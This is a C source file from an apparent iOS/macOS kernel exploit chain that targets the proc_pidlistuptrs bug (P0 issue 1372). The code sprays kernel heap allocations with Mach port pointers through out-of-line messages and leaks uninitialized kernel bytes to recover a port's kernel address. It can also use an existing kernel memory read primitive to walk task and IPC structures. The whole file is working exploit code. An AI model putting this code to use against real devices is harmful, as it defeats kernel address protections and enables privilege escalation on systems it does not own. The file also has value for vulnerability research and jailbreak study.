find_port.c 7.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <mach/mach.h>
  5. #include "find_port.h"
  6. #include "kmem.h"
  7. #include "symbols.h"
  8. #include "kutils.h"
  9. /*
  10. * this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372)
  11. *
  12. * It will reliably determine the kernel address of a mach port.
  13. * Knowing the addresses of ports makes the other UaF exploit much simpler.
  14. */
  15. // missing headers
  16. #define KEVENT_FLAG_WORKLOOP 0x400
  17. typedef uint64_t kqueue_id_t;
  18. struct kevent_qos_s {
  19. uint64_t ident; /* identifier for this event */
  20. int16_t filter; /* filter for event */
  21. uint16_t flags; /* general flags */
  22. uint32_t qos; /* quality of service when servicing event */
  23. uint64_t udata; /* opaque user data identifier */
  24. uint32_t fflags; /* filter-specific flags */
  25. uint32_t xflags; /* extra filter-specific flags */
  26. int64_t data; /* filter-specific data */
  27. uint64_t ext[4]; /* filter-specific extensions */
  28. };
  29. #define PRIVATE
  30. #include <sys/types.h>
  31. #include <sys/event.h>
  32. #include <sys/time.h>
  33. #include <sys/event.h>
  34. struct kevent_extinfo {
  35. struct kevent_qos_s kqext_kev;
  36. uint64_t kqext_sdata;
  37. int kqext_status;
  38. int kqext_sfflags;
  39. uint64_t kqext_reserved[2];
  40. };
  41. extern int kevent_id(uint64_t id, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags);
  42. int proc_list_uptrs(pid_t pid, uint64_t *buffer, uint32_t buffersize);
  43. // appends n_events user events onto this process's kevent queue
  44. static void fill_events(int n_events) {
  45. struct kevent_qos_s events_id[] = {{
  46. .filter = EVFILT_USER,
  47. .ident = 1,
  48. .flags = EV_ADD,
  49. .udata = 0x2345
  50. }};
  51. kqueue_id_t id = 0x1234;
  52. for (int i = 0; i < n_events; i++) {
  53. int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
  54. KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
  55. if (err != 0) {
  56. printf(" [-] failed to enqueue user event\n");
  57. exit(EXIT_FAILURE);
  58. }
  59. events_id[0].ident++;
  60. }
  61. }
  62. int kqueues_allocated = 0;
  63. static void prepare_kqueue() {
  64. // ensure there are a large number of events so that kevent_proc_copy_uptrs
  65. // always returns a large number
  66. if (kqueues_allocated) {
  67. return;
  68. }
  69. fill_events(10000);
  70. printf(" [+] prepared kqueue\n");
  71. kqueues_allocated = 1;
  72. }
  73. // will make a kalloc allocation of (count*8)+7
  74. // and only write to the first (count*8) bytes.
  75. // the return value is those last 7 bytes uninitialized bytes as a uint64_t
  76. // (the upper byte will be set to 0)
  77. static uint64_t try_leak(int count) {
  78. int buf_size = (count*8)+7;
  79. char* buf = calloc(buf_size+1, 1);
  80. int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
  81. if (err == -1) {
  82. return 0;
  83. }
  84. // the last 7 bytes will contain the leaked data:
  85. uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
  86. return last_val;
  87. }
  88. struct ool_msg {
  89. mach_msg_header_t hdr;
  90. mach_msg_body_t body;
  91. mach_msg_ool_ports_descriptor_t ool_ports;
  92. };
  93. // fills a kalloc allocation with count times of target_port's struct ipc_port pointer
  94. // To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right
  95. static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
  96. // allocate a port to send the message to
  97. mach_port_t q = MACH_PORT_NULL;
  98. kern_return_t err;
  99. err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
  100. if (err != KERN_SUCCESS) {
  101. printf(" [-] failed to allocate port\n");
  102. exit(EXIT_FAILURE);
  103. }
  104. mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
  105. for (int i = 0; i < count; i++) {
  106. ports[i] = target_port;
  107. }
  108. struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
  109. msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
  110. msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
  111. msg->hdr.msgh_remote_port = q;
  112. msg->hdr.msgh_local_port = MACH_PORT_NULL;
  113. msg->hdr.msgh_id = 0x41414141;
  114. msg->body.msgh_descriptor_count = 1;
  115. msg->ool_ports.address = ports;
  116. msg->ool_ports.count = count;
  117. msg->ool_ports.deallocate = 0;
  118. msg->ool_ports.disposition = disposition;
  119. msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
  120. msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
  121. err = mach_msg(&msg->hdr,
  122. MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
  123. (mach_msg_size_t)sizeof(struct ool_msg),
  124. 0,
  125. MACH_PORT_NULL,
  126. MACH_MSG_TIMEOUT_NONE,
  127. MACH_PORT_NULL);
  128. if (err != KERN_SUCCESS) {
  129. printf(" [-] failed to send message: %s\n", mach_error_string(err));
  130. exit(EXIT_FAILURE);
  131. }
  132. return q;
  133. }
  134. static int uint64_t_compare(const void* a, const void* b) {
  135. uint64_t a_val = (*(uint64_t*)a);
  136. uint64_t b_val = (*(uint64_t*)b);
  137. if (a_val < b_val) {
  138. return -1;
  139. }
  140. if (a_val == b_val) {
  141. return 0;
  142. }
  143. return 1;
  144. }
  145. uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition) {
  146. prepare_kqueue();
  147. int n_guesses = 100;
  148. uint64_t* guesses = calloc(1, n_guesses*sizeof(uint64_t));
  149. int valid_guesses = 0;
  150. for (int i = 1; i < n_guesses+1; i++) {
  151. mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
  152. mach_port_destroy(mach_task_self(), q);
  153. uint64_t leaked = try_leak(i-1);
  154. //printf("leaked %016llx\n", leaked);
  155. // a valid guess is one which looks a bit like a kernel heap pointer
  156. // without the upper byte:
  157. if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
  158. guesses[valid_guesses++] = leaked | 0xff00000000000000;
  159. }
  160. }
  161. if (valid_guesses == 0) {
  162. printf(" [-] couldn't leak any kernel pointers\n");
  163. exit(EXIT_FAILURE);
  164. }
  165. // return the most frequent guess
  166. qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
  167. uint64_t best_guess = guesses[0];
  168. int best_guess_count = 1;
  169. uint64_t current_guess = guesses[0];
  170. int current_guess_count = 1;
  171. for (int i = 1; i < valid_guesses; i++) {
  172. if (guesses[i] == guesses[i-1]) {
  173. current_guess_count++;
  174. if (current_guess_count > best_guess_count) {
  175. best_guess = current_guess;
  176. best_guess_count = current_guess_count;
  177. }
  178. } else {
  179. current_guess = guesses[i];
  180. current_guess_count = 1;
  181. }
  182. }
  183. //printf("best guess is: 0x%016llx with %d%% of the valid guesses for it\n", best_guess, (best_guess_count*100)/valid_guesses);
  184. free(guesses);
  185. return best_guess;
  186. }
  187. uint64_t find_port_via_kmem_read(mach_port_name_t port) {
  188. uint64_t task_port_addr = task_self_addr();
  189. uint64_t task_addr = rk64_electra(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
  190. uint64_t itk_space = rk64_electra(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
  191. uint64_t is_table = rk64_electra(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
  192. uint32_t port_index = port >> 8;
  193. const int sizeof_ipc_entry_t = 0x18;
  194. uint64_t port_addr = rk64_electra(is_table + (port_index * sizeof_ipc_entry_t));
  195. return port_addr;
  196. }
  197. uint64_t find_port_address_electra(mach_port_t port, int disposition) {
  198. if (have_kmem_read()) {
  199. return find_port_via_kmem_read(port);
  200. }
  201. return find_port_via_proc_pidlistuptrs_bug(port, disposition);
  202. }